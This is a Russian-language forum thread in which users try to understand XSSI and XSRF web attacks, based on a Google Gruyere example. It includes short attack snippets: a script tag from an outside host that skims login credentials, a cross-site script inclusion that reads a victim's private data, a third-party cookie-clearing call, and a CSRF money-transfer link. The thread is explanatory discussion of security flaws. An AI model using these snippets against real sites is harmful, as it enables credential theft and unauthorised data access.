XSRF уязвимость. Возможно ли такое?
 

В блоге гугла есть примеры уязвимостей на javascript. В разделе Cross-site script inclusion (XSSI) - All your script are belong to us данной статьи есть один пример. Пример (как я понял) говорит о том, что если злоумышленный сайт имеет на своей странице специальный код и подключает js-скрипт с другого сайта, то если пользователь авторизован на этом другом сайте, то злоумышленник имеет возможность получить какие-то данные пользователя, предназначенные для этого другого сайта.
Если кто понял, о чём в статье идёт речь, то объясните, пожалуйста, как это происходит и есть ли способ защиты. Очень запутано выглядит этот способ атаки.

Небольшая ошибка в названии моей темы. Уязвимость называется XSSI. :)

Защита такая-же как и для XSRF-уязвимостей :)

Объясните механизм, плизззз :)

что там объяснять :)

чаще всего такие скрипты вешаются на страницы с формами авторизации. при оправке формы они читают значение и создают новую картинку, у которой путь прописывается в соответствии с введенными данными

ну. сниффер, короче говоря.

есть на моём бложике страница авторизации. вася-хакер пришел ко мне домой, когда я был в умате, и вставил в страницу авторизации вот это

<script src="http://vasya.ru/check.js"></script>

в этом скрипте вешается обработчик на событие DOMContentLoaded, который ищет форму авторизации (логин,пароль)

заодно вешает на отправку формы свой обработчик.

когда форма отправляется, создается картинка. путь у неё, к примеру,такой


там сидит php скрипт,который тупо записывает эти данные в базу данных

потом,когда вася заходит на свою уютненькую БД, видит список, кто авторизировался
.......


за такое можно и по хлебалу получить :)

А мне вот все интересно, никак понять не могу. Как вот такая строчка (ну или подобная этой):

<script src="http://vasya.ru/check.js"></script>

Может попасть ко мне на страницу без моего же ведома ? :)

говорю же )


ну, неважно как. хоть комментом, который вася написал, а я не пропарсил ( о господи :D ), хоть sql-injection.

melky , уязвимость XSSI - это совсем другое :)
Возьмем пример из блога гугла:
На своем сайте, а пишу такой код:

<script>function _feed(s) {alert("Your private snippet is: " + s['private_snippet']);}</script><script src="http://google-gruyere.appspot.com/611788451095/feed.gtl"></script>

Кидаю ссылку человеку, авторизованному на сайте http://google-gruyere.appspot.com.
Скрипт http://google-gruyere.appspot.com/611788451095/feed.gtl это некие приватные данные, доступные только авторизованным пользователям.

И в итоге выходит вот что - человек заходит на мой сайт, и видит в алерте, свои персональные данные. Естественно вместо алерта, хакер пишет эти данные в свою базу.
Это, кстати, наряду с XSRF очень распространенные уязвимости.

что-то я ничего не нашел про XSSI

что означает I? походу,это какой-то вид XSS

прошу,где вы это отыскали?

melky, вас что-то не в ту степь понесло :)
Starkua, я так понял речь идёт о двух разных сайтах: один принадлежит злоумышленнику, а другой - это сайт на котором авторизован пользователь. Так вот на сайте злоумышленника есть свой зловредный js-код + нормальны js-скрипт, подключённый со второго сайта. Вот они вместе и создают опасную смесь кода, позволяющая украсть данные о втором сайте. Это как вообще возможно?
Куки авторизации будут посланы только при запросе нормального js-скрипта и будут посланы только второму нормальному js-скрипту. Каким макаром эти данные будут перехвачены на сайте злоумышленника?
Если речь идёт не о куках, то тогда вообще какие данные о втором нормальном сайте может передать браузер злоумышленнику, если я загрузил страницу злоумышленника, на которой он только лишь подключил js-скрипт с нормального сайта?

а если провести аналогию с виджетами контакта,твитера,фейсбука ...- на сторонних сайтах? догружается скрипт их, какой имеет доступ к кукам.что мешает получить доступ из своего скрипта к переменным этого скрипта-вроде ничего не мешает. а защита,наверное писать виджеты прибивающие после отработки значения переменных какие они получили в ходе работы скрипта. ну ,или не делать подобные виджиты вообще. но доступ к переменным подключенного скрипта не пробовал и не знаю возможен ли он вообще. -это так предположения как может получить-других путей не вижу

мне лень проверять, но вот живой пример,что можно :

jquery берем с yandex.ru. можем использовать window.$.

значит, можно делать и так.

<script type="text/javascript" src="http://userapi.com/js/api/openapi.js"></script>

<script type="text/javascript">

VK.Cookie.clear()

</script>

если следовать идее, то при запуске этой функции кукисы должны очиститься, потому что фунция это делает.

так можно пакостить разработчикам, использующим Vkontakte Tools ( ну, комменты, лайк,ченить еще)

но не более.

dmitriymar, ничего себе, если это так, то vkontakte.ru уязвим, как уязвимы куки авторизации его пользователей. Контакт ведь всякие лайки активно использует :)
Я сам с куками в javascript не знаком.

melky,
значит можно всё. что мешает объявить глобальными переменные используемые в сторонних скриптах и получить доступ к их значениям?-ничего. и это проблема разработчика после работы скрипта обнулить опасные данные

тогда придется избегать и замыканий

вспомните про второй параметр alert в FireFox, с помощью которого можно смотреть переменные,которые объявлены в замыкании через var )

Вот здесь тема разжевана от и до - http://www.securitylab.ru/analytics/292473.php

Там пишется о XSRF - но это фактически то-же самое что и XSSI, только второе - это джаваскрипт файлы.

Это совсем не то же самое. ТС говорит о уязвимости сайта через скрипты которые генерируются на лету в зависимости от авторизации пользователя. Таким образом эти данные доступны хакеру в чистом виде и пользователь даже не подозревает о том что его данные в это время получают не напрягаясь. Недавно об этой уязвимости мне сообщил знакомый который сидит в контакте но о вэбе знаком только по общению со мной. В контакте эта уязвимость есть вроде еще.

На мой взгляд как это предотвращать:

<?php if (!$_COOKIE['INDEX_LOAD']) exit('No direct access'); ?>

А в сессию прописывать только при заходе с главной страницы. А куку держать до окончания сессии вне зависимости от автологина.
Хотя и это обойти можно: просто перед запросом данных запросить главную страницу контакта.
Простой способ не попасть на эту уязвимость - logout в контакте.

melky, не очень понятно, пока. Получается, что если я создам на своём сайте страницу, подключу js из vkontakte.ru и выполню какой-то нехороший код (как в примере у вас), то я удалю все куки пользователя для сайта vkontakte.ru? Даже если открытая HTML-страница будет сгенерирована не сервером vkontakte.ru, а моим личным сайтом mysite.ru?

А какие-такие конфиденциальные данные содержит обычный js-файл?
Ну допустим содержит функции, которые предназначены для работы с куками. Но ведь подключённый в HTML-коде страницы mysite.ru/page.html данный js-скрипт будет иметь доступ к кукам только сайта mysite.ru. Открыта страница домена mysite.ru, а значит только с куками этого домена подключённый скрипт может иметь дело. Разве не так?

Половина народа в этой теме говорит о некоей чОрной магии в которой нифига не понимает, а вторая половина не может понятно первой объяснить.))

и только один человек вовсе не хочет обьяснять :)

про csrf (xsrf) могу рассказать. Кидаешь кому-нибудь по аське ссылку http://bank.com/transfer?to=4335412&all-the-money=1 и если он в данный момент залогинен в браузере на этом сайте и еще при стечении ряда обстоятельств ты получишь все его деньги. Т.е. прикол в том, что сервер, считает, что ты осознанно отправил форму, а на самом деле ты просто перешел по кем-то присланной ссылке

Вывод. Есть два основных способа защиты: 1) не приходить домой в умате, 2) найти и надавать по хлебалу :)

а у них такое есть?